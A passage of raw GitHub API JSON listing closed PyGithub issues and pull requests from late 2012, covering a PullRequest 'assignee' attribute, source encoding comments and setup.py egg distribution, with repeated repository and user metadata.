012-11-13T23:15:11Z","updated_at":"2012-11-14T07:58:02Z","closed_at":"2012-11-14T07:58:00Z","pull_request":{"html_url":"https://github.com/jacquev6/PyGithub/pull/114","diff_url":"https://github.com/jacquev6/PyGithub/pull/114.diff","patch_url":"https://github.com/jacquev6/PyGithub/pull/114.patch"},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":""},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/111","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/111/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/111/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/111/events","html_url":"https://github.com/jacquev6/PyGithub/issues/111","id":8075253,"number":111,"title":"Add 'assignee' attribute to PullRequest","user":{"login":"mstead","id":218800,"avatar_url":"https://secure.gravatar.com/avatar/cff2de4d58af775ba0a07a5332b57889?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"cff2de4d58af775ba0a07a5332b57889","url":"https://api.github.com/users/mstead","html_url":"https://github.com/mstead","followers_url":"https://api.github.com/users/mstead/followers","following_url":"https://api.github.com/users/mstead/following{/other_user}","gists_url":"https://api.github.com/users/mstead/gists{/gist_id}","starred_url":"https://api.github.com/users/mstead/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mstead/subscriptions","organizations_url":"https://api.github.com/users/mstead/orgs","repos_url":"https://api.github.com/users/mstead/repos","events_url":"https://api.github.com/users/mstead/events{/privacy}","received_events_url":"https://api.github.com/users/mstead/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Functionalities","name":"Functionalities","color":"e102d8"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/14","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/14/labels","id":189891,"number":14,"title":"Version 1.9.0","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":9,"state":"closed","created_at":"2012-10-05T08:15:01Z","updated_at":"2012-11-19T20:52:01Z","due_on":null},"comments":1,"created_at":"2012-11-03T00:33:18Z","updated_at":"2012-11-03T08:28:14Z","closed_at":"2012-11-03T08:25:59Z","pull_request":{"html_url":"https://github.com/jacquev6/PyGithub/pull/111","diff_url":"https://github.com/jacquev6/PyGithub/pull/111.diff","patch_url":"https://github.com/jacquev6/PyGithub/pull/111.patch"},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"It seems as though this may have been added to\r\nthe github API and was not being included in the\r\nPullRequest object.\r\n\r\nI stumbled upon this when attempting to get the current\r\nassignee of a pull request while playing with the API,\r\nand noticed I could not get it via PyGithub. I need this\r\nfor a project I'm working on.\r\n\r\nThis verifies that the attribute's existence in github's API:\r\n```curl -i \"https://api.github.com/repos/jacquev6/PyGithub/pulls/31\" | grep assignee```\r\nOutput:\r\n```\"assignee\": null,```\r\n\r\n\r\nI was also going to update the tests to include the attribute,\r\nbut I wasn't able to set the assignee on the test data.\r\n"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/110","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/110/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/110/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/110/events","html_url":"https://github.com/jacquev6/PyGithub/issues/110","id":8033963,"number":110,"title":"Add encoding comment to source files","user":{"login":"Zearin","id":630124,"avatar_url":"https://secure.gravatar.com/avatar/cb9730ee11d50fa2db955d687c653971?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"cb9730ee11d50fa2db955d687c653971","url":"https://api.github.com/users/Zearin","html_url":"https://github.com/Zearin","followers_url":"https://api.github.com/users/Zearin/followers","following_url":"https://api.github.com/users/Zearin/following{/other_user}","gists_url":"https://api.github.com/users/Zearin/gists{/gist_id}","starred_url":"https://api.github.com/users/Zearin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Zearin/subscriptions","organizations_url":"https://api.github.com/users/Zearin/orgs","repos_url":"https://api.github.com/users/Zearin/repos","events_url":"https://api.github.com/users/Zearin/events{/privacy}","received_events_url":"https://api.github.com/users/Zearin/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management","name":"Project management","color":"444444"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/14","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/14/labels","id":189891,"number":14,"title":"Version 1.9.0","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":9,"state":"closed","created_at":"2012-10-05T08:15:01Z","updated_at":"2012-11-19T20:52:01Z","due_on":null},"comments":1,"created_at":"2012-11-01T15:45:03Z","updated_at":"2012-11-03T08:28:32Z","closed_at":"2012-11-03T08:07:37Z","pull_request":{"html_url":"https://github.com/jacquev6/PyGithub/pull/110","diff_url":"https://github.com/jacquev6/PyGithub/pull/110.diff","patch_url":"https://github.com/jacquev6/PyGithub/pull/110.patch"},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"This is a minor thing. It’s a convention, not a rule (obviously)—but it’s also a best practice.\r\n\r\nMany text editors look for this kind of comment as the first line—or second line, if there is a shebang (the `#!/usr/bin/env python`, or whatever else)—and make use of this to determine the file’s encoding."},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/118","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/118/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/118/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/118/events","html_url":"https://github.com/jacquev6/PyGithub/issues/118","id":9089893,"number":118,"title":"Modify setup.py to allow .egg distribution of PyGithub","user":{"login":"gregwjacobs","id":1749292,"avatar_url":"https://secure.gravatar.com/avatar/8707d63a44f6cc04e58a655f3df3105c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8707d63a44f6cc04e58a655f3df3105c","url":"https://api.github.com/users/gregwjacobs","html_url":"https://github.com/gregwjacobs","followers_url":"https://api.github.com/users/gregwjacobs/followers","following_url":"https://api.github.com/users/gregwjacobs/following{/other_user}","gists_url":"https://api.github.com/users/gregwjacobs/gists{/gist_id}","starred_url":"https://api.github.com/users/gregwjacobs/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/gregwjacobs/subscriptions","organizations_url":"https://api.github.com/users/gregwjacobs/orgs","repos_url":"https://api.github.com/users/gregwjacobs/repos","events_url":"https://api.github.com/users/gregwjacobs/events{/privacy}","received_events_url":"https://api.github.com/users/gregwjacobs/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management","name":"Project management","color":"444444"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/16","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/16/labels","id":215570,"number":16,"title":"Version 1.10.0","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":10,"state":"closed","created_at":"2012-11-19T20:02:45Z","updated_at":"2012-12-25T12:25:01Z","due_on":null},"comments":1,"created_at":"2012-12-07T14:42:13Z","updated_at":"2012-12-21T19:45:37Z","closed_at":"2012-12-21T19:45:37Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"In setup.py change:\n\n`from distutils.core import 